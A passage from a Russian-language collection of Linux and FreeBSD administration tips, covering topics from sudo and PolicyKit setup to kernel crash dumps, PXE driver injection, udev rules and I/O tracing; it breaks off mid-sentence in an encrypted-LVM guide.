    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    Настройки можно найти в файле /usr/local/etc/svnup.conf
    
     
    ----* Если возникла проблема с FreeBSD или нет драйвера для устройства. (доп. ссылка 1)   [обсудить]
     
    Неофициальные драйвера устройств и решение некоторых проблем приводятся на http://www.freebsd.org/cgi/query-pr-summary.cgi
    
     
    ----* Как создать необходимые для проигрывания звука устройства в FreeBSD   [комментарии]
     
    cd /dev;./MAKEDEV snd0
    будут созданы все необходимые устройства (/dev/dsp, /dev/mixer и т.д.) для pcm0.
    
     
    ----* Как обновить код загрузчика в FreeBSD   [комментарии]
     
    Ставим boot-менеджер в MBR:
        boot0cfg /dev/ad0
        или fdisk -B -b /boot/boot0 /dev/ad0
    
    Обновляем boot-loader (boot1 и boot2):
        disklabel -B ad0s1
    
     
    ----* Почему не работает отладчик kbdg в FreeBSD 4.7   Автор: anonym  [обсудить]
     
    Я столкнулся с тем, что при установке FreeBSD 4.7 перестал работать отладчик kdbg.
    Проблема решилась заменой отладчика dbg из дистрибутива на GNU dbg 5.2 (есть в пакаджах)
    
     

       Linux специфика
    Оптимизация и тюнинг в Linux
    Увеличение безопасности Linux
    Установка и работа с пакетами программ в Linux

    ----* Отключение учетной записи root в openSUSE Tumbleweed   Автор: popov895  [комментарии]
     
    В этой заметке я не буду объяснять, почему необходимо отключать учетную
    запись root, а просто опишу, как это можно сделать в openSUSE Tumbleweed.
    Внимание: не забывайте делать резервные копии системных файлов, которые
    планируете редактировать!
    
    Для начала, нужно добавить пользователя, которому необходимо включить доступ к
    sudo, в групу wheel (username - имя этого пользователя):
    
        sudo usermod -aG wheel username
    
    Далее необходимо отредактировать файл /etc/sudoers. Для этого
    необходимо выполнить следующую команду:
    
        sudo visudo
    
    Что необходимо отредактировать:
    
    * Раскомментировать строку (последняя строка в примере ниже):
    
        ## Uncomment to allow members of group wheel to execute any command
        %wheel ALL=(ALL) ALL
    
    * Закомментировать две строки (две последние строки в примере ниже):
    
        ## In the default (unconfigured) configuration, sudo asks for the root password.
        ## This allows use of an ordinary user account for administration of a freshly
        ## installed system. When configuring sudo, delete the two
        ## following lines:
        # Defaults targetpw   # ask for the password of the target user i.e. root
        # ALL   ALL=(ALL) ALL   # WARNING! Only use this together with 'Defaults targetpw'!
    
    * Добавить строку в конец секции Defaults specification (последняя
    строка в примере ниже):
    
        ##
        ## Defaults specification
        ##
        ## Prevent environment variables from influencing programs in an
        ## unexpected or harmful way (CVE-2005-2959, CVE-2005-4158, CVE-2006-0151)
        ...
        Defaults env_keep += "DISPLAY XAUTHORITY"
    
    Внесённые изменения нужно сохранить и выйти из редактора (:wq для vim). Далее
    необходимо изменить правила аутентификации через PolicyKit. Для этого
    необходимо выполнить следующие две команды:
    
        sudo cp /usr/share/polkit-1/rules.d/50-default.rules /etc/polkit-1/rules.d/40-default.rules
        sudo sed -i 's/user:0/group:wheel/g' /etc/polkit-1/rules.d/40-default.rules
    
    Далее нужно настроить kdesu на использование sudo вместо su. Для этого нужно
    создать файл /etc/xdg/kdesurc со следующим содержимым:
    
        [super-user-command]
        super-user-command=sudo
    
    После всего этого перезагружаемся и, собственно, теперь уже отключаем учетную запись root:
    
        sudo passwd -l root
    
     
    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Загрузка ядра Linux, собранного в конфигурации allmodconfig   Автор: linuxoid  [комментарии]
     
    Файл конфигурации allmodconfig позволяет все модули ядра отметить как "m", т.е.
    как подгружаемые, а не встроенные в ядро. Но проблема в том, что ядро с такими
    настройками не загружается.
    
    Подразумевается, что в файле конфигурации уже отмечены все подходящие для
    заданного компьютера дисковые драйверы sata/ide/scsi, как встроенные в ядро "y"
    или как "m" для размещения на initrd. Но ядро всё равно не грузится.
    
    Загрузочное сообщение: Cannot open root device "(null)"
    
    Если в grub указан параметр root=/dev/sda1 (sda1 указан для примера), а при при
    загрузке появляется сообщение "Cannot open root device "(null)" or
    unknown-block(0,0)" (обратите внимание, что вместо sda1 появилось null), это
    значит, что нужно изменить в конфигурации "CONFIG_CMDLINE_BOOL=n".
    
    Загрузочное сообщение: Failed to execute /init
    
    При использовании initrd при загрузке может появится сообщение "Failed to
    execute /init" и нужно изменить в  конфигурации "CONFIG_BINFMT_SCRIPT=y".
    
     
    ----* Обновление Fedora/RFRemix 19 до Fedora/RFRemix 20   Автор: Аноним  [комментарии]
     
    Получаем права суперпользователя
    
       su
    
    Устанавливаем новый gpg-ключ:
    
       rpm --import https://fedoraproject.org/static/246110C1.txt
    
    Удаляем проблемную прошивку Intel WiMAX, убедившись в том, что подключение
    посредством WiMAX не является единственным способом соединения устройства с Сетью
    
       yum remove NetworkManager-wimax
    
    Обновляем систему:
    
       yum update yum
       yum --releasever=20 distro-sync
    
    Внимание ! При обновлении с использованием fedup предварительно следует
    обновить данную утилиту до версии 0.8. В репозиториях  Fedora 18 и 19 в момент
    выхода Fedora 20 находилась версия 0.7, при использовании которой обновление до
    Fedora 20 будет завершено ошибкой. При обновлении с Fedora 18 дополнительно
    в fedup следует использовать опцию "--nogpgcheck".
    
     
    ----* Установка DTrace в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Установим пакеты, необходимые для обеспечения работы DTrace:
    
       sudo apt-get update && sudo apt-get upgrade
       sudo apt-get install python-software-properties bison flex build-essential \\
       libelf-dev zlib1g-dev libc6-dev-i386 libdwarf-dev binutils-dev
       sudo apt-get install git
    
    Клонируем на локальную систему содержимое Git-репозитория dtrace4linux:
    
       git clone git://github.com/ShepBook/dtrace-for-linux.git&#8221;
    
    Соберём компоненты DTrace:
    
       cd dtrace-for-linux
       make all
       sudo make install
    
    Загрузим модуль ядра с поддержкой DTrace:
    
       sudo make load
    
    Убедимся, что поддержка DTrace присутствует в ядре:
    
       sudo /usr/sbin/dtrace -l
    
    Загрузим DTrace-скрипт:
    
       sudo /usr/sbin/dtrace -s скрипт.d
    
     
    ----* Особенности установки Skype на 64-битную систему   Автор: Карбофос  [комментарии]
     
    При попытке скачать и установить с оригинальной страницы пакет skype 64 для
    Ubuntu и установить его на базирующуюся на Debian 64-битную платформу меня
    ждало разочарование: распакованный файл, скачанный здесь
    http://www.skype.com/go/getskype-linux-beta-ubuntu-64 на поверку оказался
    обычным 32-битным бинарником:
    
       readelf -h ./skype
    
    Скачанная здесь http://www.skype.com/go/getskype-linux-beta-static программа
    собрана статично только с Qt4 библиотеками. Командой
    
       ldd ./skype
    
    выясняются другие зависимости 32-битных библиотек этой программы.
    Устанавливаем ia32-libs-gtk из репозитория вашего дистрибутива, например, для
    Debian-подобных систем:
    
      sudo apt-get install ia32-libs-gtk
    
    создаём старт-скрипт skype.sh
    
       #!/bin/bash
    
       # этот вариант для программы с библиотеками Qt4 в директории ~/skype/lib
       #export LD_LIBRARY_PATH=~/skype/lib:/usr/lib32/:$LD_LIBRARY_PATH
       # этот вариант с интегрированным Qt4
       export LD_LIBRARY_PATH=/usr/lib32/:$LD_LIBRARY_PATH
       # часть libv4l
       export LD_PRELOAD=/usr/lib32/libv4l/v4l1compat.so
       ./skype
    
    
    Если нет реакции при тесте изображения, то можно диагностировать из консоли (с правами доступа):
    
       tail -f /var/log/messages 
    
    при этой ошибке "bandwidth not wide enough - trying again" можно попытаться
    подключить камеру не через USB Hub, а напрямую к компьютеру.
    
    Если происходит крах программы, то можно попытаться настроить свойства камеры в
    созданном программой файле настроек config.xml в директории ~/.Skype/$acc_name/ :
    
        <Video>
          <CaptureHeight>240</CaptureHeight>
          <CaptureWidth>320</CaptureWidth>
          <!--Fps>30</Fps-->
        </Video>
    
    Если <Video>..</Video> в файле настроек нет, то его нужно добавить в секции
    <Lib>..</Lib>. Здесь можно настроить, как видно, частоту кадров и разрешение
    вебкамеры. Поэкспериментируйте с этими настройками.
    
    
    Ссылки: подключение skype под Linux, для случая с подключением Compiz.
    
     
    ----* Что поправить в Ubuntu 10.10 Maverick на ноутбуке IBM Т61   Автор: rstone  [комментарии]
     
    1. Если нет индикации раскладки клавиатуры (должно быть написано рядом со
    значком), либо наблюдаются проблемы с индикаторами (внимание , настройки панели
    будут сброшены - останутся только индикаторы по умолчанию):
    
       gconftool-2 --shutdown
       rm -rf ~/.gconf/apps/panel
       pkill gnome-panel
    
    
    2. Если на каждое подключение питания (AC)  включается диск на несколько секунд, в логах было :
    
       ata3: exception Emask 0x10 SAct 0x0 SErr 0x50000 action 0xe frozen
       [76550.066188] ata3: irq_stat 0x00400000, PHY RDY changed
       [76550.066191] ata3: SError: { PHYRdyChg CommWake }
       [76550.066196] ata3: hard resetting link
    
    Выяснилось, что это старая ошибка, исправленная в ядре 2.6.33, но как-то
    попавшая в 2.6.35-22-generic от Ubuntu.
    Лечится в файле /usr/lib/pm-utils/power.d/sata_alpm
    Строчку
    
       true) [ "$SATA_ALPM_ENABLE" = true ] && set_sata_alpm min_power;;
    
    меняем на : 
    
       true) [ "$SATA_ALPM_ENABLE" = truelies ] && set_sata_alpm min_power;;
    
    баг1
    баг2
    
    
    3. Неработа мышей ( TrackPoint && TouchPad ) и клавиатуры после возвращения из спящего режима. 
    Лечится созданием/редактированием файла /etc/pm/config.d/00sleep_module:
    
       cat /etc/pm/config.d/00sleep_module
       SUSPEND_MODULES="psmouse" 
    
     
    ----* Борьба с kernel panic в Linux-ядре 2.6.35 и выше   Автор: Аноним  [комментарии]
     
    Начиная с версии 2.6.35 в Linux-ядре появилась полезная функция "ramoops",
    позволяющая в случае краха сохранять информационный дамп состояния ядра в
    памяти для последующего анализа. Данные сохраняются только при мягкой
    перезагрузке, без очистки прошлого состояния памяти. Вкомпилировать данную
    функцию в ядро или загружать модулем "ramoops" - без разницы.
    
    Единственная хитрость - сначала нужно зарезервировать память в ядре.
    Сделать это можно указав ядру параметр memmap=256K@0xfc0000
    (резервируем 256К перед ядром).
    
    Если ramoops в ядре, то добавляем параметры 
    
       ramoops.mem_address=0xfc0000 и
       ramoops.mem_size=0x40000
    
    параметр ramoops.dump_oops=1 является умолчанием, так что его можно не указывать.
    
    Для модуля "ramoops" эти параметры нужно указать при загрузке.
    
    Теперь чтобы ядро не осталось в мертвом виде, не забываем сделать
    
       echo 10 >/proc/sys/kernel/panic
    
    и (если нужно, а иногда полезно)
    
       echo 1 >/proc/sys/kernel/panic_on_oops
    
    Теперь проверяем при помощи crash-а через Alt-SysRq-C.
    
    После перезагрузки, текст crash-дампа будет лежать в памяти, начиная с адреса 0xfc0000.
    
    Достать его оттуда можно при помощи
    
       dd if=/dev/mem bs=256k skip=63 count=1 >>crash.txt
    
    либо при помощи простенькой программы, которая открывает /dev/mem и с
    указанного смещения читает данные.
    
    Для сохранения дампа на диск следует использовать похожую функцию mtdoops.
    
    Дополнение: Для работы в ядре необходимо выключить опцию CONFIG_STRICT_DEVMEM 
    
     
    ----* Разбираем nod32 для Linux   Автор: Карбофос  [комментарии]
     
    Пару дней назад появилась новость о выходе бета версии антивируса для линукс систем. 
    Скачать можно здесь: http://beta.eset.com/linux
    
    Мне стало интересно, что внутри этого бинарника и как его можно установить без
    инсталляции через dpkg или rpm. у меня дома 64 битный Debian, поэтому загрузил
    себе версию соответствующей разрядности.
    
    В директории с загруженным из интернета бинарником:
    
       chmod 755 ueav.x86_64.linux
    
    После этого бинарник можно запустить, но он сразу хочет пароля
    суперпользователя для установки. Посмотрим, что он хочет. В директории /tmp/ во
    время запуска появляется поддиректорий с именем подобным /tmp/epkg.uIS8sc/
    
    Сделаем копию в директорий пользователя, т.к. в случае закрытия дилога с вводом
    пароля root файлы удалятся, что и следует ожидать.
    
    В ESETовском директории можно найти пару интересных файлов, один из которых -
    бинарник test32 пользователя aurel32. На какой системе он был собран также
    нетрудно выяснить.
    
    Второй файл намного интереснее, это epkg.rpm
    
    Вытаскиваем содержимое утилитой rpm2cpio (к примеру)
    
       rpm2cpio epkg.rpm | cpio -idv
    
    В сожалению, можно обнаружить, что в бинарниках есть жесткая привязка в
    директорию /opt/ поэтому я решил сделать просто символьные линки на папку, в
    которую я распаковал (перетащил) содержимое, нужны права суперпользователя.
    
       ln -s /home/username/ESET/opt/eset /opt/eset
    
    ну и остальные, по желанию. Если не хотите, то можно напрямую перетащить
    директории с содержимым в корневой каталог. содержимое etc в /etc и далее, по списку.
    
    Если сделали, как нужно, то в директории /etc/init.d/ появился скрипт esets,
    который управляет демоном от eset:
    
       ./esets
       Usage: ./esets {start|stop|restart|force-reload|reload}
    
    В распакованном нами директории ~/ESET/opt/eset/esets/lib/ есть файл, размером
    20 мегабайт: esets_modules. В нем находятся базы сигнатур, которые
    распаковываются в обычном случае в /var/opt/eset/esets/lib/,
    сюда же следует обновлять данные антивируса вручную, если не будет работать актуализация. 
    
    В случае, если при старте из консоли вы будете получать сообщение, типа "нет
    прав...", то можно пойти навстречу требованиям трудящихся:
    
       chown username:users /opt/eset/ -R
       chown username:users /var/log/esets -R
       chown username:users /var/opt/eset -R
       chown username:users /etc/opt/eset -R
    
    затем запускаем демон
    
       /etc/init.d/esets force-reload
    
    и после этого GUI:
    
       /opt/eset/esets/bin/esets_gui
    
    определить разрядность исполняемого файла можно так:
    
       readelf -h esets_gui
    
    загружаемые библиотеки:
    
       ldd esets_gui
    
    p.s. графическую оболочку для установки не запускал вообще, уж извините.
    
     
    ----* Безопасная перезагрузка зависшей системы Linux через Magic SysRq key (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Иногда бывает, что операционная система Linux зависает. Вы пробудете
    перезапустить Иксы нажав Ctrl+Alt+BackSpace
    (следует отметить, что данная комбинация отключена по-умолчанию в новом XOrg),
    но это безрезультатно. Зайти на машину по сети тоже нет возможности.
    Но не стоит нажимать кнопку Reset. Ведь это может привести к потери
    несохраненных данных/повреждению
    файлов с которыми велась работа.
    
    Вместо этого следует нажать комбинацию клавиш Alt+SysRq и удерживая их
    последовательно нажать клавиши R E I S U B
    с интервалом 2-3 секунды. После чего система перезагрузится. 
    Запомнить можно комбинацию по фразе: "REстарт ISкуственный UBийственный"
    
    Если в консоли нажать Alt+SysRq+H, то можно получить краткую справку.
    
     
    ----* Выполнение действий при изменении состояния сетевых интерфейсов в Debian (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Имеется такая задача, к компьютеру в локальной сети подключается USB WiFi
    адаптер, при этом компьютер
    автоматически превращается в прозрачный мост для подключемых WiFi устрайств
    (ноутбуки). А после отключения адаптера, компьютер должен восстановить своё
    исходное состояние.
    
    В файле /etc/network/interfaces находятся описания настроек интерфейсов, а так же способы запуска
    Например такая запись, заставляет автоматически включать eth0 и настраивать его по DHCP
    
       auto eth0
       iface eth0 inet dhcp
           post-down ip addr flush dev eth0 dhcp # удаляем привязанный IP
    
    
    Для привязки действий в момент подключения или отключения усторойства с
    заданным именем можно использовать опцию allow-hotplug.
    
    Объявляем новое соединение wlan0 и последовательность событий-действий связанных с ним:
    
       iface wlan0 inet manual
           pre-up ifdown eth0 # стопим eth0, нужно для включения его в  bridge
           pre-up brctl addbr bridge
           pre-up brctl addif bridge eth0
           pre-up brctl addif bridge wlan0
           pre-up ifconfig eth0 up
           pre-up dhclient3 bridge 
           pre-up ifconfig wlan0 down 
           pre-up iwconfig wlan0 mode ad-hoc freq 2.437GH essid ffhome channel 6
           pre-up ifconfig wlan0 up
           post-down brctl delif bridge eth0
           post-down ifconfig bridge down # стопим bridge, нужно для его  удаления
           post-down brctl delbr bridge
           post-down ifup eth0 # снова включаем eth0
       allow-hotplug wlan0
    
    Опция allow-hotplug инициализирует интерфейс wlan0 в момент когда ядро его определяет.
    Первое событие происходит перед инициализацией интерфейс. В этот момент нужно остановить eth0, 
    сбросить у него IP, подготовить и запустить мост, а затем иницилизировать WiFi
    адаптер в режиме точки.
    
    А после отключения WiFi адаптера необходимо удалить мост и восстановить eth0. 
    
     
    ----* Добавление драйвера в образ сетевой установки (PXE) CentOS 5.X   Автор: Victor Leschuk  [обсудить]
     
    Бывают ситуации, когда самый простой способ поставить систему на машину - с
    использование PXE сервера и FTP/HTTP/NFS.
    В случае, если в загрузочном образе для PXE отсутствует необходимый драйвер для
    сетевой карты или SCSI придется его
    добавлять вручную, пересобирая рамдиск. 
    
    В данном примере будем добавлять драйвер atl1 в образ Centos 5.3. 
    Далее приведен краткий список шагов и команд.
    
    1. Определение нужного устройства.
    
    Загружаемся с PXE и видим, что не обнаружилась сетевая карта
    
    Берем образ любой Linux системы, грузимся с него и смотрим вывод lspci. 
    В нашем случае сетевой карточкой оказалось устройство  1969:1048 - сетевая карточка Atheros.
    
    Драйвер для этого устройства - atl1e.
    
    2. Собираем на какой-либо машине модуль под то ядро, которое присутствует в образе. 
    Узнать версию, не загружаясь, можно например так:  
    
       dd if=vmlinuz bs=512 count=1|xxd
    
    В моем случае это 2.6.18-128.el5 x86_64. На сборочной машине пакет gcc должен быть той же версии, 
    которой собиралось ядро (здесь это gcc-4.1). Собирается модуль примерно так: 
    
       # cd /usr/src/kernels/2.6.18-128.el5-x86_64/
       # make modules M=/usr/src/atl1-1.2.40.2-1.nodist.rf/
       ...
       LD [M]  /usr/src/atl1-1.2.40.2-1.nodist.rf/atl1.ko
    
    Здесь /usr/src/atl1-1.2.40.2-1.nodist.rf - директория с исходными кодами модуля, 
    а /usr/src/kernels/2.6.18-128.el5-x86_64/ - с исходными кодами ядра (необходимо
    поставить соответствующий пакет kernel-devel).
    
    3. Распаковываем рамдиск и добавляем туда модуль: 
       $ mkdir unpack
       $ cd $_
       $ gunzip < /var/lib/tftpboot/centos53/initrd.img | cpio -i --make-directories
       $ cd modules
       $ mkdir tmp
       $ cd $_
       $ gunzip < ../modules.cgz|cpio -i --make-directories
       $  cd 2.6.18-128.el5/x86_64/
       $ cp /path/to/atl1.ko .
       $ cd ../../../
       $ mv modules.cgz ~/modules.cgz.saved
       $ find ./tmp/2.6.18-128.el5/ -print | cpio -o -Hnewc|gzip -c9 > modules.cgz
       $ rm -rf ./tmp
    
    4. Теперь надо добавить информацию о модуле в файлы modules.alias и module-info: 
    
       $ /sbin/modinfo /path/to/atl1.ko |grep alias
       alias:          pci:v00001969d00001048sv*sd*bc*sc*i*
    
       $ echo $(/sbin/modinfo /path/to/atl1.ko |grep alias) atl1 >> modules.alias
    
    Прописываем информацию о модуле в файл module-info, чтобы потом можно было
    подгрузить драйвер из меню.
    Добавляем следующие строчки: 
    
       atl1
       eth
       "Atheros L1 Gigabit Ethernet Driver "
    
    5. Запаковываем рамдиск: 
    
       $ cd ..
       $ find . -print | cpio -o -Hnewc|gzip -c9 > ../initrd_updated.img
    
    6. Правим конфигурацию pxelinux, подкладываем в папку с образами новый рамдиск и ставим систему. 
    
     
    ----* Фиксация номеров устройств для нескольких одинаковых карт в Linux (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Проблема: Несколько DVB карт при перезагрузке менялись местами в произвольном порядке. 
    
    Решение: зафиксировать эти карты на своих местах через написание udev правила.
    
    Итак, смотрим параметры каждой из карт:
    
       udevinfo -a -n /dev/dvb/adapter0/frontend0
    
       looking at device '/class/dvb/dvb0.frontend0':
        KERNEL=="dvb0.frontend0"
        SUBSYSTEM=="dvb"
        DRIVER==""
    
       looking at parent device '/devices/pci0000:00/0000:00:1e.0/0000:02:00.0':
        KERNELS=="0000:02:00.0"
        SUBSYSTEMS=="pci"
        DRIVERS=="b2c2_flexcop_pci"
        ATTRS{vendor}=="0x13d0"
        ATTRS{device}=="0x2103"
        ATTRS{subsystem_vendor}=="0x13d0"
        ATTRS{subsystem_device}=="0x2103"
        ATTRS{class}=="0x028000"
        ...
    
    Создаем файл /etc/udev/rules.d/10-local.rules с содержимым (фиксация по параметру "KERNELS"):
    
       SUBSYSTEM=="dvb", KERNELS=="0000:02:00.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter0/%%s $${K#*.}'", NAME="%c", GROUP="video"
       SUBSYSTEM=="dvb", KERNELS=="0000:02:02.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter1/%%s $${K#*.}'", NAME="%c", GROUP="video"
    
     
    ----* Простой способ ограничения утилизации CPU для заданного процесса   [комментарии]
     
    В репозиториях популярных Linux дистрибутивов можно найти полезную утилиту
    cpulimit (http://cpulimit.sourceforge.net/),
    которая позволяет легко ограничить занимаемые определенной программой процессорные ресурсы.
    Метод работы программы оригинален, в зависимости от указанного процента допустимой нагрузки, 
    процесс периодически останавливается через отправку сигнала SIGSTOP, а затем
    работа возобновляется через SIGCONT.
    
    Например, ограничиваем потребление CPU для работающей программы find в 30%.
    Определяем идентификатор процесса:
    
       $ ps -aux|grep find
       user 3470  7.0  7.9 25516 16252 ?       Sl   17:05  14:19 /usr/bin/find
    
    Ограничиваем: 
    
       $ cpulimit --pid 3470 --limit 30
    
    На многопроцессорных системах, процент нужно указывать с учетом числа CPU, т.е.
    для 4 процессорной машины для
    указания работы без ограничений нужно поставить не 100%, а 400%.
    
     
    ----* Как узнать поддерживается ли PCI устройство в заданном Linux ядре (доп. ссылка 1)   [комментарии]
     
    Для определения какие доступные модули ядра подходят для установленных в текущей системе PCI плат, 
    нужно запустить утилиту pcimodules, которая для сопоставления модулей ядра и
    идентификаторов PCI плат
    использует содержимое файла /lib/modules/версия_ядра/modules.pcimap,
    автоматически генерируемого на этапе
    выполнения команды depmod.
    
    Полный список всех поддерживаемых PCI идентификаторов можно найти в файле /usr/share/hwdata/pci.ids
    Обновить базу pci.ids можно выполнив команду:
    
       update-pciids
    
    Для просмотра всех PCI устройств в системе нужно использовать утилиту lspci
    (lspci -vvv для детального вывода).
    
    Для вывода информации, какой драйвер можно использовать для каждого устройства в системе:
    
       lspci -k
    
    Рассмотрим по шагам процесс определения присутствия поддержки имеющейся аудио
    платы в текущем Linux ядре.
    
    Смотрим параметры платы:
    
       lspci | grep -i audio
    
       00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller
    
    Видим, что идентификатор платы 00:1b.0. Далее, выводим для этого идентификатора
    более подробную информацию:
    
    
       lspci -n | grep 00:1b.0
     
       00:1b.0 0403: 8086:27d8 (rev 01)
    
    где,
       00:1b.0 - код устройства;
       8086 - код производителя (Intel Corporation)
       27d8 - идентификатор модели.
    
    Проверяем какие модули ядра поддерживают данную модель:
    
       grep 27d8 /lib/modules/$(uname -r)/modules.pcimap 
    
       snd-hda-intel 0x00008086 0x000027d8...
    
    Смотрим информацию о драйвере:
    
       modinfo snd-hda-intel
    
       filename:       /lib/modules/2.6.27-11-server/kernel/sound/pci/hda/snd-hda-intel.ko
       description:    Intel HDA driver
       depends:        snd-pcm,snd-page-alloc,snd
    
     
    ----* Трассировка ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Утилита blktrace (присутствует в репозиториях Ubuntu и Debian) позволяет 
    проконтролировать какие именно данные передаются для заданного блочного устройства.
    
    Например, посмотреть общую статистику и детали обмена данными с /dev/sda можно выполнив команду:
    
       blktrace -d /dev/sda -o - | blkparse -i - 
    
    где, blkparse фильтр для наглядного представления результатов.
    
    В случае вывода ошибки про отсутствие /sys/kernel/debug, убедитесь, что смонтирована debugfs:
    
       mount -t debugfs debugfs /sys/kernel/debug
    
    В качестве альтернативы можно предложить задействование механизма /proc/sys/vm/block_dump, 
    при записи 1 в этот файл начнется сбор данных, при записи 0 - результаты будут
    выведены в буфер dmesg.
    Скрипт для упрощения разбора данных можно загрузить здесь:
     http://www.digitalprognosis.com/opensource/scripts/top-disk-users
    
    
    Мониторинг ввода/вывода не на уровне планировщика, а на уровне конечных процессов удобно проводить 
    при помощи утилиты iotop (http://guichaz.free.fr/iotop/)
    
     
    ----* Слежение за изменением файлов и директорий в Linux shell   [комментарии]
     
    Пакет inotify-tools содержит две полезные утилиты:
    
    inotifywait - ожидать наступления определенного события в файле или дирекотории. 
    
    inotifywatch - слежение за статистикой изменений и вывод суммарных данных.
    
    Утилиту inotifywait  удобно использовать в скриптах, например, когда нужно дождаться 
    завершения внешней операции с файлом и мгновенно среагировать на изменения.
    
    Напрмер, запустим:
       inotifywait /tmp
    
    При попытке создать файл в /tmp утилита завершит работу, выдав:
    
       /tmp/ CREATE,ISDIR v31549
    
    При попытке создать директорию:
    
       /tmp/ CREATE,ISDIR 0
    
    Если необходимо следить за изменением во всех директориях в пределах /tmp, 
    следует использовать флаг рекурсивного контроля "-r". 
    Для больших директорий может понадобиться расширить лимит /proc/sys/fs/inotify/max_user_watches.
    Используя опцию "--fromfile" можно загрузить список контролируемых файлов и директорий из файла.
    Опция "-e" позволяет реагировать только на определенный тип события, например,
    на удаление файла, игнорируя создание и открытие.
    Опция '-m' отменяет мгновенный выход после наступления события, что позволяет организовать 
    визуальное наблюдение или обработку в цикле.
    
    Пример, скрипта для обработки изменения файла:
    
       #!/bin/sh
       inotifywait -e delete -m /tmp/lock/ | while read dir events file; do
          echo "Removed $dir$file"
       done
    
    
    При выполнении:
    
       inotifywatch /tmp
    
    и последующем завершении выполнения через задание таймаута или нажатия ctrl+c, 
    будет выведена суммарная информация по каждому из классов событий, напрмер:
    
       total  modify  close_write  close_nowrite  open  create  delete  filename
       22     3       4            1              5     4       5       /tmp/
    
    Или
    
       inotifywatch -v -e access -e modify -t 60 -r /var/log
    
    через 60 секунд выдаст:
    
       14     14      /var/log/
       2      2       /var/log/apache2
       4      4       /var/log/postgresql
    
    Что касается кроссплатформенного решения, которое работает, не только в Linux, но и во FreeBSD, 
    можно привести пример слежения за изменением файла используя Perl модуль EV (http://search.cpan.org/dist/EV/),
    использующий универсальную библиотеку-враппер libev:
    
       #!/usr/bin/perl
    
       use strict;
       use EV;
    
       # Следим за изменениями в директории /tmp/watch
       # 0 - интервал опроса по умолчанию
       my $w = EV::stat "/tmp/watch", 0,
       sub {
                my ($w, $revents) = @_;
                warn $w->path, " has changed somehow.".$w->attr."\n";
                $w->stop;
                # На время обработки события, прекращаем прием нотификаций. 
                .....
                $w->start;
       };
    
       EV::loop;
    
     
    ----* Как распаковать ядро Linux из bzImage (доп. ссылка 1)   Автор: bappoy  [комментарии]
     
    Воспользоваться программой binoffset из исходников Linux-ядра:
    
       gcc -o binoffset /usr/src/linux/scripts/binoffset.c
       dd if=bzImage skip=`./binoffset bzImage 0x1f 0x8b 0x08 0x00` bs=1|gzip -d > vmlinux
    
    В файле vmlinux получаем распакованное ядро. Из него можно извлечь, например,
    версию компилятора, использованного при сборке ядра:
    
       strings vmlinux|grep "^Linux version"
    
     
    ----* Миграция на файловую систему LVM с поддержкой шифрования в Debian linux (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Администрирование Debian: How To по миграции на файловую систему LVM с поддержкой шифрования
    
    Целью данного документа является описание пути перехода на полностью шифрованную файловую 
    систему LVM (корневая файловая система и пользовательские данные, кроме загрузочного раздела). 
    Миграция возможна как с обычной LVM, так и с ext3. Все, что вам понадобится -
    наличие внешнего хранилища.
    
    Отдельно стоит отметить, что данная операция должна проводиться человеком, имеющим некоторый опыт.
    
    ЧАСТЬ 1. Установка необходимого ПО и сохранение текущей системы.
    
    Есть два способа реализации Full Encrypted LVM (далее - FELVM).
    a) Debian way (TM), где LVM размещаетя на зашифрованном виртуальном устройстве (cryptsetup).
    b) Другой путь, когда LVM создается на физическом устройстве, а затем шифруются логические разделы.
    
    Конечно, я выбираю debian way, хотя никаких определенных причин для этого нет.
    
    В качестве исходных данных у меня имеется /dev/hda1 типа Windows NTFS и несколько других разделов, 
    тип которых не важен, так как их скоро не останется.
    
    Перед тем, как мы начнем, рекомендую сделать полную копию ваших данных на
    внешний носитель с помощью CloneZilla,
    чтобы потом не иметь бледный вид.
    
    Для начала установим  'cryptsetup'. Также ядро должно ключать образ initrd для
